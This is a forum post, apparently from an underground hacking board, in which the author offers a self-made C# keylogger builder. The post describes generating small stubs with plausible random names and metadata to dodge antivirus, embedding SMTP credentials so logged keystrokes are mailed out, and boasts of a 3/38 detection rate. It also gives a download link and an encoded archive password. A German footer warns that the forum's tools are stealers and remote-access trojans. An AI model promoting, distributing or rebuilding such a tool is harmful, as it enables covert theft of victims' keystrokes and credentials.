Narco Posted March 26 Posted March 26 It's being some time since i gave something back to community. I am still in learning of c# code and i decide to take some dive into KeyLogger programming. This tool took me around 6h to code. some function could be definitely coded better and there are still some bugs i need to investigate but for testing purposes its fine. Here’s a high-level overview of the functionalities provided by the code: I am using MaterialSkin for this tool since ootb framework in visual studio is not that pleasing... Dynamic Assembly Name and Attributes: Randomized names and attributes (like, title, description, version) are generated for the compiled executable using predefined adjective and noun arrays. Here i used believable names not just random strings. These attributes are included as assembly metadata for the generated executable. Input Handling for SMTP Configuration: User-provided inputs such as SMTP server, email credentials, recipient email, and a time interval are collected via textboxes. These values are dynamically replaced in the source code template. I am using default SMTP port 587. Source Code Augmentation: Necessary assembly attributes (like, version, company, product). They are also randomly generated from pool of predefined wordlist and later on used in compilation. Code Compilation: The application compiles the modified source code which is stored within tool itself, into an executable file dynamically using the CSharpCodeProvider class. Compiler parameters include settings for a Windows executable target, x86 platform, and external assemblies required by the generated code. So yea, its 32bit application with .net 4.5 dependency. Executable Generation: A unique name for the executable is generated dynamically (like, BrightFox123.exe). The compiled executable incorporates the user-provided SMTP settings and dynamically generated assembly. Generated stub has only around 9-10kb ! Current detection is 3/38 on kleenscan https://kleenscan.com/scan_result/f4d99d...b6b0b66c7d Tool is protected with VMProtect against reverse engineering. For generated executable you can use ILSpy to check the source code, its not protected at all and free for viewing. Feel free to test it out and if you find bugs please report them back to me, i will try to fix it in next release. Download LINK: https://mega.nz/file/sY5F0ZYZ#_3j2t4DfwP...GWKfN_LWvk Pass for zip is Base64 encoded: UE9DRGFya1RlcnJvcktMRw== Some Screenshots Grundsätzlich gilt: Virusscan und VM ist euer Freund. Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgebeben. Das ist bei diesen Programmen normal, macht die Sache abr für Abfänger nicht besser! Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen. Btw: Die Tools sind nicht von mir! Wie sagt man so schön: Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. Entschuldigung, das hab ich mir erlaubt. 1 Quote
Recommended Posts